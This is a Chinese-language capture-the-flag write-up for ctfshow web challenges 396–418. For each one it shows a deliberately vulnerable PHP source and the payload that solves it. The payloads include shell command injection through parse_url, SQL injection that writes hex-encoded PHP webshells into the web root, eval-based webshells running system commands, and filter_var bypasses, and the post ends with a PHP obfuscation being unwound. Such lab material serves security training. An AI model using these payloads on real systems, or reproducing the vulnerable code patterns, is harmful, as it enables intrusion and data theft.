CTFSHOW-其他
最后更新时间:
web396 特定函数绕过
题面如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-01-15 16:38:07
# @Last Modified by: h1xa
# @Last Modified time: 2021-01-15 17:20:22
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['url'])){
$url = parse_url($_GET['url']);
shell_exec('echo '.$url['host'].'> '.$url['path']);
}else{
highlight_file(__FILE__);
}这里通过文档查看
parse_url
函数可知,host部分是跟在@
后头的,而path部分是跟在第一个/
后头的(从@
开始算的)而第二个知识点就是系统命令可以通过反引号或者
$()
进行包括因此可以针对host部分和path部分进行构造
1
2?url=http://@$(ls)/var/www/html/1.txt
?url=http://@$(cat fl0g.php)/var/www/html/1.txtweb397. 特定函数绕过
源码如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-01-15 16:38:07
# @Last Modified by: h1xa
# @Last Modified time: 2021-01-15 17:49:13
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['url'])){
$url = parse_url($_GET['url']);
shell_exec('echo '.$url['host'].'> /tmp/'.$url['path']);
}else{
highlight_file(__FILE__);
}有个前缀限制,可以通过
../
绕过1
?url=http://@$(cat fl0g.php)/../var/www/html/1.txt
web398. 特定函数绕过
源码如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-01-15 16:38:07
# @Last Modified by: h1xa
# @Last Modified time: 2021-01-15 18:00:42
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['url'])){
$url = parse_url($_GET['url']);
if(!preg_match('/;/', $url['host'])){
shell_exec('echo '.$url['host'].'> /tmp/'.$url['path']);
}
}else{
highlight_file(__FILE__);
}禁了
;
,不过没影响web399. 特定函数绕过
源码如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-01-15 16:38:07
# @Last Modified by: h1xa
# @Last Modified time: 2021-01-15 18:04:27
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['url'])){
$url = parse_url($_GET['url']);
if(!preg_match('/;|>/', $url['host'])){
shell_exec('echo '.$url['host'].'> /tmp/'.$url['path']);
}
}else{
highlight_file(__FILE__);
}ban了
; >
,可以继续打web400. 特定函数绕过
源码如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-01-15 16:38:07
# @Last Modified by: h1xa
# @Last Modified time: 2021-01-15 18:13:14
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['url'])){
$url = parse_url($_GET['url']);
if(!preg_match('/;|>|http|https/i', $url['host'])){
shell_exec('echo '.$url['host'].'> /tmp/'.$url['path']);
}
}else{
highlight_file(__FILE__);
}ban了http和https协议,经测试,只要以
//
开头仍然可以解析出后面的各键值。那么既然schema字段也没用,直接去掉即可1
?url=//@$(cat fl0g.php)/../var/www/html/1.txt
web401. 特定函数绕过
源码如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-01-15 16:38:07
# @Last Modified by: h1xa
# @Last Modified time: 2021-01-15 18:16:48
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
#error_reporting(0);
if(isset($_GET['url'])){
$url = parse_url($_GET['url']);
var_dump($url);
if(!preg_match('/;|>|http|https|\|/i', $url['host'])){
shell_exec('echo '.$url['host'].'> /tmp/'.$url['path']);
}
}else{
highlight_file(__FILE__);
}多ban了一个
|
不影响web402. 特定函数绕过
源码如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-01-15 16:38:07
# @Last Modified by: h1xa
# @Last Modified time: 2021-01-15 18:35:41
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
#error_reporting(0);
if(isset($_GET['url'])){
$url = parse_url($_GET['url']);
var_dump($url);
if(preg_match('/http|https/i', $url['scheme'])){
die('error');
}
if(!preg_match('/;|>|\||base/i', $url['host'])){
shell_exec('echo '.$url['host'].'> /tmp/'.$url['path']);
}
}else{
highlight_file(__FILE__);
}对host部分ban了
; > | base
,不影响web403. 特定函数绕过
源码如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-01-15 16:38:07
# @Last Modified by: h1xa
# @Last Modified time: 2021-01-15 18:44:06
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['url'])){
$url = parse_url($_GET['url']);
if(preg_match('/^((2[0-4]\d|25[0-5]|[01]?\d\d?)\.){3}(2[0-4]\d|25[0-5]|[01]?\d\d?)$/', $url['host'])){
shell_exec('curl '.$url['scheme'].$url['host'].$url['path']);
}
}else{
highlight_file(__FILE__);
}可以看到命令执行语句换成了
curl
这里复习一下管道符的作用
1
2
3
4
5| 直接执行后面的语句
|| 如果前面执行的语句出错,则执行后面的语句
& 如果前面的语句为假则直接执行后面的语句,前面的语句可真可假
&& 如果前面的语句为假则直接出错,不执行后面的语句
; 执行完前面的再执行后面的因此只需要构造出符合条件的host,后面拼接另一条命令即可,管道符连接
1
2http://192.168.13.13/xxx;ls>/var/www/html/1.txt
http://192.168.13.13/xxx;cat fl0g.php>/var/www/html/1.txtweb404 特定函数绕过
web405 特定函数绕过
源码如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-01-15 16:38:07
# @Last Modified by: h1xa
# @Last Modified time: 2021-01-15 19:20:10
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['url'])){
$url = parse_url($_GET['url']);
if(preg_match('/((2[0-4]\d|25[0-5]|[01]?\d\d?)\.){3}(2[0-4]\d|25[0-5]|[01]?\d\d?)./', $url['host'])){
if(preg_match('/^\/[A-Za-z0-9]+$/', $url['path'])){
if(preg_match('/\~|\.|php/', $url['scheme'])){
shell_exec('curl '.$url['scheme'].$url['host'].$url['path']);
}
}
}
}else{
highlight_file(__FILE__);
echo 'parse_url 好强大';
}
parse_url 好强大首先这里schema必须包含
php|.|~
,经过测试发现httphp
也是可以被识别到;path部分严格限制了只能为
/字母|数字
;host部分正则在结尾多了个.
可以利用payload
1
?url=httphp://127.0.0.111;echo `cat fl*`>1.txt;1/a
web406 特定函数绕过
源码如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-01-16 14:58:50
# @Last Modified by: h1xa
# @Last Modified time: 2021-01-16 16:00:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
require 'config.php';
//flag in db
highlight_file(__FILE__);
$url=$_GET['url'];
if(filter_var ($url,FILTER_VALIDATE_URL)){
$sql = "select * from links where url ='{$url}'";
$result = $conn->query($sql);
}else{
echo '不通过';
}
Notice: Undefined index: url in /var/www/html/index.php on line 17
不通过针对
filter_var()
函数1
2
3使用特定的过滤器过滤一个变量
参数:FILTER_VALIDATE_URL
optionally with required components. Beware a valid URL may not specify the HTTP protocol http:// so further validation may be required to determine the URL uses an expected protocol, e.g. ssh:// or mailto:. Note that the function will only find ASCII URLs to be valid; internationalized domain names (containing non-ASCII characters) will fail.注意空格也不能通过解析,因此可以通过
/**/
绕过。可通过url检测的格式如下1
javascript://www.baidu.com;<payload>;
提示了flag in db,我们想要回显的话可以将其写入到文件中,先判断字段数
1
javascript://www.baidu.com;'union/**/select/**/1,2/**/into/**/outfile/**/"/var/www/html/9.txt"%23;
字段数为2
接下来就是查表,由于是写入文件,所以这里利用的比较巧妙,我可以先写入一段恶意代码,在其中执行恶意sql语句来绕过直接的url检测,恶意代码只需用编码绕过即可,妙!
**恶意代码如下**
1
2
3
<?php require 'config.php';$sql='select 1, group_concat(table_name) from information_schema.tables where table_schema=database() into outfile "/var/www/html/9.txt"';
$result=$conn->query($sql);
?>
将其编码后放入payload
1
javascript://www.baidu.com;'union/**/select/**/1,0x3c3f70687020726571756972652027636f6e6669672e706870273b2473716c3d2773656c65637420312c2067726f75705f636f6e636174287461626c655f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573207768657265207461626c655f736368656d613d6461746162617365282920696e746f206f757466696c6520222f7661722f7777772f68746d6c2f382e74787422273b24726573756c743d24636f6e6e2d3e7175657279282473716c293b7661725f64756d702824726573756c74293b3f3e/**/into/**/outfile/**/"/var/www/html/8.php"%23;
麻了这里有很多限制,写过一次好像不能覆盖写
![image-20221119005236988](ctfshow-其他/image-20221119005236988.png)
查字段
1
<?php require 'config.php';$sql='select 1, group_concat(column_name) from information_schema.columns where table_name="flag" into outfile "/var/www/html/7.txt"';$result=$conn->query($sql);var_dump($result);?>
1
javascript://www.baidu.com;'union/**/select/**/1,0x3c3f70687020726571756972652027636f6e6669672e706870273b2473716c3d2773656c65637420312c2067726f75705f636f6e63617428636f6c756d6e5f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e636f6c756d6e73207768657265207461626c655f6e616d653d22666c61672220696e746f206f757466696c6520222f7661722f7777772f68746d6c2f372e74787422273b24726573756c743d24636f6e6e2d3e7175657279282473716c293b7661725f64756d702824726573756c74293b3f3e/**/into/**/outfile/**/"/var/www/html/7.php"%23;
![image-20221119005536171](ctfshow-其他/image-20221119005536171.png)
查flag
1
<?php require 'config.php';$sql='select 1, group_concat(flag) from flag into outfile "/var/www/html/6.txt"';$result=$conn->query($sql);var_dump($result);?>
1
javascript://www.baidu.com;'union/**/select/**/1,0x3c3f70687020726571756972652027636f6e6669672e706870273b2473716c3d2773656c65637420312c2067726f75705f636f6e63617428666c6167292066726f6d20666c616720696e746f206f757466696c6520222f7661722f7777772f68746d6c2f362e74787422273b24726573756c743d24636f6e6e2d3e7175657279282473716c293b7661725f64756d702824726573756c74293b3f3e/**/into/**/outfile/**/"/var/www/html/6.php"%23;
web407 特定函数绕过,来一杯咖啡?
源码如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-01-16 14:58:50
# @Last Modified by: h1xa
# @Last Modified time: 2021-01-16 17:24:13
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
error_reporting(0);
$ip=$_GET['ip'];
if(filter_var ($ip,FILTER_VALIDATE_IP)){
call_user_func($ip);
}
class cafe{
public static function add(){
echo file_get_contents('flag.php');
}
}回顾一下
call_user_func()
1
call_user_func — 把第一个参数作为回调函数调用
这里存在一个cafe类,并且内含静态方法add可以读出flag
针对
FILTER_VALIDATE_IP
1
2
3Fails validation for the following reserved IPv4 ranges: 0.0.0.0/8, 169.254.0.0/16, 127.0.0.0/8 and 240.0.0.0/4.
Fails validation for the following reserved IPv6 ranges: ::1/128, ::/128, ::ffff:0:0/96 and fe80::/10.我们可以尝试IPV6地址
1
cafe::add
web408 特定函数绕过
源码如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-01-16 14:58:50
# @Last Modified by: h1xa
# @Last Modified time: 2021-01-16 19:53:18
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
error_reporting(0);
$email=$_GET['email'];
if(filter_var ($email,FILTER_VALIDATE_EMAIL)){
file_put_contents(explode('@', $email)[1], explode('@', $email)[0]);
}这次是针对
FILTER_VALIDATE_EMAIL
,如果通过校验,会将@后面的部分当做文件名,前面部分当做内容,执行文件写操作1
Allows the local part of the email address to contain Unicode characters.
首先针对文件名,可以直接改为任意文件后缀
然后对于前面,如果包含特殊字符,双引号包含下是可以绕过的
1 |
|
web409. 特定函数绕过
源码如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-01-16 14:58:50
# @Last Modified by: h1xa
# @Last Modified time: 2021-01-16 20:26:16
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
error_reporting(0);
$email=$_GET['email'];
if(filter_var ($email,FILTER_VALIDATE_EMAIL)){
$email=preg_replace('/.flag/', '', $email);
eval($email);
}这里会把flag和之前的字符都给过滤掉,我们怎么利用呢?我们想的是通过
?>
闭合php标签来绕过后面的检测,但是由于前面还存在双引号所以仍然会报错
因此 我们想要把前面的”在通过filter检验后过滤掉,就需要用到这个正则替换函数
1 |
|
web410 特定函数绕过
源码如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-01-25 23:07:21
# @Last Modified by: h1xa
# @Last Modified time: 2021-01-26 13:12:41
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
error_reporting(0);
include('flag.php');
$b=$_GET['b'];
if(filter_var ($b,FILTER_VALIDATE_BOOLEAN)){
if($b=='true' || intval($b)>0){
die('FLAG NOT HERE');
}else{
echo $flag;
}
}过滤器又换了,针对
FILTER_VALIDATE_BOOLEAN
1
2
3Returns true for "1", "true", "on" and "yes". Returns false otherwise.
If FILTER_NULL_ON_FAILURE is set, false is returned only for "0", "false", "off", "no", and "", and null is returned for all non-boolean values.简单题直接
yes
web411 特定函数绕过
源码如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-01-25 23:07:21
# @Last Modified by: h1xa
# @Last Modified time: 2021-01-26 13:12:41
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
error_reporting(0);
include('flag.php');
$b=$_GET['b'];
if(filter_var ($b,FILTER_VALIDATE_BOOLEAN)){
if($b=='true' || intval($b)>0 ||$b=='on' || $b=='ON'){
die('FLAG NOT HERE');
}else{
echo $flag;
}
}一样的
yes
web412 语法绕过
源码如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-01-25 23:07:21
# @Last Modified by: h1xa
# @Last Modified time: 2021-01-26 16:19:28
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
$ctfshow=$_POST['ctfshow'];
if(isset($ctfshow)){
file_put_contents('flag.php', '//'.$ctfshow,FILE_APPEND);
include('flag.php');
}
Notice: Undefined index: ctfshow in /var/www/html/index.php on line 16这里会追加
//xxx
内容到flag.php中,并且最后包含进来这里仍然用到php闭合标签来使得
//
不会影响后面代码的执行1
ctfshow=?><?php eval($_POST[1]); ?>&1=system('tac flag.php');
web413 语法绕过
源码如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-01-25 23:07:21
# @Last Modified by: h1xa
# @Last Modified time: 2021-01-26 16:19:28
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
$ctfshow=$_POST['ctfshow'];
if(isset($ctfshow)){
file_put_contents('flag.php', '/*'.$ctfshow.'*/',FILE_APPEND);
include('flag.php');
}
Notice: Undefined index: ctfshow in /var/www/html/index.php on line 16这里需要将注释符闭合
1
ctfshow=*/@eval($_POST[1]);?>/*&1=system('tac flag.php');
web414 语法绕过
源码如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-01-25 23:07:21
# @Last Modified by: h1xa
# @Last Modified time: 2021-01-26 16:43:53
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
include('flag.php');
$ctfshow=$_GET['ctfshow'];
if($ctfshow==true){
if(sqrt($ctfshow)>=sqrt(intval($flag))){
echo 'FLAG_NOT_HERE';
}else{
echo $flag;
}
}
Notice: Undefined index: ctfshow in /var/www/html/index.php on line 16首先第一个if判断存在弱类型比较,而第二个判断由于flag非数字,并且以字母开头,所以直接就是0,输入任何一个正数会进入if,所以应该输入一个负数
1
2sqrt()
返回 num 的平方根,负数时返回 NAN1
ctfshow=-1
web415 语法绕过
源码如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-01-25 23:07:21
# @Last Modified by: h1xa
# @Last Modified time: 2021-01-26 19:15:52
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
$k = $_GET[k];
function getflag(){
echo file_get_contents('flag.php');
}
if($k=='getflag'){
die('FLAG_NOT_HERE');
}else{
call_user_func($k);
}我这里加了一个命名空间
\getflag
来绕过实际上,函数名、方法名、类名是不区分大小写的,因此大小写也是可以绕过的
1
2\getflag
GEtflagweb416 语法绕过
源码如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-01-25 23:07:21
# @Last Modified by: h1xa
# @Last Modified time: 2021-01-26 19:54:23
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
class ctf{
public function getflag(){
return 'fake flag';
}
final public function flag(){
echo file_get_contents('flag.php');
}
}
class show extends ctf{
public function __construct($f){
call_user_func($f);
}
}
echo new show($_GET[f]);show类实例化时触发构造函数,其中会调用
call_user_func
,我们看到show类是继承于ctf类的,根据官方文档1
parent::flag
web417 想想办法
题目给了源码
1
2
3
4
5
6
7
8<?php /*ctfshow*/ define('aPeKTP0126', __FILE__);
$cIYMfW = urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
$CBhSfw = $cIYMfW[3] . $cIYMfW[6] . $cIYMfW[33] . $cIYMfW[30];
$xWoIVy = $cIYMfW[33] . $cIYMfW[10] . $cIYMfW[24] . $cIYMfW[10] . $cIYMfW[24];
$RkEEuV = $xWoIVy[0] . $cIYMfW[18] . $cIYMfW[3] . $xWoIVy[0] . $xWoIVy[1] . $cIYMfW[24];
$YFfKrW = $cIYMfW[7] . $cIYMfW[13];
$CBhSfw .= $cIYMfW[22] . $cIYMfW[36] . $cIYMfW[29] . $cIYMfW[26] . $cIYMfW[30] . $cIYMfW[32] . $cIYMfW[35] . $cIYMfW[26] . $cIYMfW[30];
eval($CBhSfw("JGpYanRLZD0ianBRRHVrYkd3eW5abWlWek1mc0pDb0hGTnJxSUJTaGRQQXhMT0tFZ1d0dlVUZVJYYVlsY1RjUkNadW5WbWpHVUtIZUlmT2RZWHNEa1NwTVFFaXR4TnJBbHphcXdQQmJKZ0Z2V295aExOQzltb0Ryd1VWZUtvUDVoYVh4YWl1dnRGaGZtZmdRMllqQXRKVmVsZWtybWZnUTJhZ2R1eWV2M1VHRWxOV2VqblZ2aHkyOXVVaXdIWWdVa2ZpSjNSaUoyZkhKanZISjJ2WEoyZmdKaFNKZmhTSXloU0lSbVlneTVmVHdoZnVSaFNJcmhTSXdoU0lKaFNJcWhTSXVoZnVxMllnVUNZZ0xqWWdVWFlneTBZZ3kzemlKMXZISjJTaUoyelhKMmZqSjNmakozU2pKMnZUUmhmdVFoU1R5SVNqSjJSaVFjemp2U0ozVVpnR3c5WVZrSngyVW1pMWRJV2k0dXlldjNVR0VsUElVeGxIdnRlRHhLTHFCbmZJU3hsSHZ0ZUR4S0xxQm5mSUV4emp2VG9rdkpGUGY5WVZrSngyVW1pMWRJZjEwWllWa0p4MlVtaTFkQWZrMFpZVmtKeDJVbWkxZGpTazBaWVZrSngyVW1pMWRBZmswWllWa0p4MlVtaTFkalNrMDdZREVYSkRrNHZUMHV5MnRKZURoVFBJRXhsSHZ0ZUR4S0xxQm5mZ3R4bEh2dGVEeEtMcUJuZjEwWllWU3Nla3Y1eTFkbVdpNHV5MnRKZURoVFBJa3hsSHZ0ZUR4S0xxQm5mVHZ4emp2Q2VHRUJlM1E5WVZrSngyVW1pMWQzV2k0dXlldjNVR0VsUElxSVdnZHVnZVMybnU1NGxUMHV5ZXYzVUdFbFBJUWpXaTR1eWV2M1VHRWxQSWYyV2k0dXlldjNVR0VsUElRNVdpNHV5ZXYzVUdFbFBJUTJXaTR1eWV2M1VHRWxQSWZtV2k0dXlldjNVR0VsUElmaldpNHV5ZXYzVUdFbFBJZjFXaTR1eWV2M1VHRWxQSVEyV2k0dXlldjNVR0VsUElmbVdnQmh4S2tkYVh2U0ozVVpnR3dzUXVjVm5EZWd2V0VCVURzbW9QZVBSdTFIZjA1QVVxZXVTa1VkVWtjV2lxWU15SlVQdmVKbW5xWWVvMDVOUEswQWllY1F2dVV1ZmhVY3l1dG9naGVQTERZdGVXdlJVUDVQUjFVRFVxQlRvMWNzeUsxMG9WU2RKaHR0blB3MXlJa21SaFNwU0pjUG5oWVJVSng0TGtTREpLNXZma2NRZUpKQXhlZUJmZXZUZWhVaVVreG9TaHhlRnFldW51WVZQaFVzb2hmbWlLaHVmVGhzVUp2ZHhWUkFSdWhVZnVVM2d1Um1vSjhqZVRZVWUzeGJpR3M0YTBjNVNWQkpldTRqeUtkMVNxQkNKS2N0dmhZZVVleFNuMGNRUnVTZWlxeTBKS2hHbzF4V1NKaGduZXNJZ3FTaXZrVVpSR3ZQZjBoQWdQaHBMMGNRUnVTZWlxeTBKS2hHbzF4V1NKaGduZXNJZ3FTaXZrVVpSR3ZQZjBoSWl1ZXplMlNEZmV0VG9QQklpdXRYUjFlUXZUdmlvUHhwZTFMMWllU0JQVFNmdnFrSWl1ZXplMlNEZmV0VG9QQm1pMVNwU2pRY2FnZC9OVG0vTFZ0bVFWdmhVS2haVWl3R0ZQdnRvMlUzZkNxalNITGR5ZUVoaTF2UmZDcWpTSHU3WXExc0ZreGhSVDExTEtBdVVQU2JVVkpzUUhKMnZncWhTMHFoU1RRaGZ1eWhTdVJoU1RxMVlnZUNZZ0wyWWdMMGZYSjJ6Z1E0WWdZcVlnTG1ZZ0w0WWdMMVlnTEFZZ0w1WWdZRVNISjJSakozZkhKMlJISjJTWEoyU0l1aFNKeWhTVEpoU1R3aFNUZmhTSWZoU0lMaFN1eTBZZ1lYWWd5MmZJTGhTdXFIYWdkdVUyMUhna3Z1Tml2U29EdFdVSlluZjEwWllxMXNGa3hoUmhkMldpNHVnUHQ0ZTJlWFBJZklXaTR1Z1B0NGUyZVhQSWZtV2dkdUZLZXFnVmNvTml2U29EdFdVSlluZklTeGxIdlNvRHRXVUpZbmZnRXhsSHZTb0R0V1VKWW5mVHZ4bEh2U29EdFdVSlluZmdFeGxIdlNvRHRXVUpZbmZUdnh6anZkaWVjREowdTlZRGNodnFBTVBoZG1XaTR1Z1B0NGUyZVhQSXE0V2k0dWdQdDRlMmVYUElTeGxIdjZVSnZmb2hjbmZrMFpZRGNodnFBTVBoZEFXaTR1Z1B0NGUyZVhQSVEwV2dkdXZHZUF5V2VvTml2U29EdFdVSlluUzEwWllxMXNGa3hoUmhkQWYxMDdZVnhCeXVBSlVYNDlZcTFzRmt4aFJoZGpmaDBaWXExc0ZreGhSaGRJU2gwWllxMXNGa3hoUmhkanplMFpZcTFzRmt4aFJoZGpTaDBaWXExc0ZreGhSaGRJZmswWllxMXNGa3hoUmhkSWZoMFpZcTFzRmt4aFJoZElTZTBaWXExc0ZreGhSaGRqU2gwWllxMXNGa3hoUmhkSWZrMDdVV1V0blh3dVUyMUhna3Z1YVhZYXZnZTN5aHhtaVBTSmZWaHZvMFUzZWVlNG9LZVBnSzVUbzNFMlB1ZWlma2hwVWtjdWYwNXNQS0FveWVlVmVoZUhvMWNJeWVVYUZWZXB4cXZIZTFVUnlKeG1Ta3hRZXU5dW8xVXl5Z0VzZ2hTUEp1dnRlSWtsVWV4b2Vra3lnaGt1dld2Z1BURXNpaGNQZWhjSHZ1eUlKSzVYZmV2V29rdEp2R0VNUHV0c1NLU2VpR1lUbmdoa0poSjFmaFJqaWh4SG5WdFF5UDFWeDFlTW5rVUh2UHZxZUNTVlJ1MVFMcUJvbmhZUnkxVW1MZWtlTGt2dXYydnNKMUo1b2VZcG5xMXVvMXMwVXFlVmdrdkJndVNnb0lrWEplZW1lVnZEVWtTSFBrWWtQZVVvZWVVa3hxOVVmMVlZZ2dZa2ZoaGVucVlpZTN2YWVLZDVGa3hCTHFZSGVoY015VEUwaUt2SlBLdFRlSjVYeVBCaXZrY0JMa3ZTdmhVQWVXY1huZVJBZ3V2b25XcjBVcVVQSlZlUUpLMXRuZ0UzVVAxVm5lVWtndTVnZUtSMEpJU1ZlZVJtVTNoVWZLQURKUEI0Z2VZWnZoZVduV3Z6VXFlVm9WU1BKVEV0b0llMnlUa2F4VnZrSkt0UG5rWUFQaEoxSnExRHZoeFNlMGNESjFlNFIyWURTZ1NXdjBVUVBnWWRpUFlaZWdZVWV1Y3NlaHhtdmVVQlVEa2Vua2NaeVBCaW5ra1dMcWV2RmhjUmVreGtmS2twSkdrSmYwVXR5UEJWeGtTeVVWNW9lSWVTZTF0YXllVVFKR2tKbmdoMnloZWRKcTFrUHVTdWZoY2xKUGQ1b2VTRGZEeGhuSlVCZXVlemllU2VGQ1lIaVZ3bUpleDRpa2g2UlRlaWZLOGpKMjFVU2VZa3hxY2lvM3cxZTJjUHZlU3FpV3hKZjBVWGdKdG1TaHhNb2tFVGVKc0lQSzVkUjA5V1B1OVNmSllTVWVlcFNlY3B4cWNKaWtjRFBLQlZlS2VwZmVjSmYwVUNlcXRvbnExcGVXdGlvMm1BVXFVRUZlWWRuVkFIbkttalVlZWR4aFVQUksxV3ZWdmd5aHRpUGVjeVUzeFd2Z3YzSklrdWYxeUFuVjlvZXE1TUpQQUVGcTFxVWtTSGUyQW1KS0FtUmh4RGVUdlN2VkF2Z2dyNWZrU3FnVGV0aURFTmUxSjVGa2tlRnExb2VxYzJQUDFWRmt1bWl1aGdlS3ZieTJBZXgyZWR2R2V1ZlBtMWdQNVRmMWVCZmdFZXZlYzFlQ1NpaWVjcGdLOVVmUHRWZXV4U0ZxOXlpdTVTZTA1aWVna29mMUpqZ2h2aGVWdmd5aHhwU0poTXhWQXVuSlVJaTBTVGwxRWN5M2VhdjJ2MFBQQjRlZWNDVTJCaG5lVWtlcXhteUpCQ0pHU2dlR0VRZWdFcG4wY2tTV3hIZTNFWXkxUzNvMVlaZUd0VVBrVXRpMmNZTHFBQ0pHU2dlR0VRZWdFcG4wY2tTV3hIZTNFWXkxUzNvMVlaZUd0VVBrVXRncVNpdjJ2eXZLdHVlSzltZ3FTaUwxU1BMcXRlZlZCYml1SjF4MllXTHFoVEozeDNncVNpdjJ2eXZLdHVlSzltaTFTcExxOTNOZzBIYWl1N05JND0iO2V2YWwoJz8+Jy4kQ0JoU2Z3KCR4V29JVnkoJFJrRUV1VigkalhqdEtkLCRZRmZLclcqMiksJFJrRUV1VigkalhqdEtkLCRZRmZLclcsJFlGZktyVyksJFJrRUV1VigkalhqdEtkLDAsJFlGZktyVykpKSk7"));不过看起来上了混淆(刚开始还以为是个webshell。。),得去一下混淆
nnd,有套娃。。。
1
echo base64_decode(strtr(substr($NpmjHq, 52 * 2), substr($NpmjHq, 52, 52), substr($NpmjHq, 0, 52)));
最终得到源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-01-25 23:07:21
# @Last Modified by: h1xa
# @Last Modified time: 2021-01-26 20:52:23
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
include('flag.php');
$c=$_GET['ctf'];
if($c=='show'){
echo $flag;
}else{
echo 'FLAG_NOT_HERE';
}1
ctf=show
web418 帮大黑阔写好后门
源码如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-01-25 23:07:21
# @Last Modified by: h1xa
# @Last Modified time: 2021-01-26 23:52:58
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
$key= 0;
$clear='clear.php';
highlight_file(__FILE__);
//获取参数
$ctfshow=$_GET['ctfshow'];
//包含清理脚本
include($clear);
extract($_POST);
if($key===0x36d){
//帮黑阔写好后门
eval('<?php '.$ctfshow.'?>');
}else{
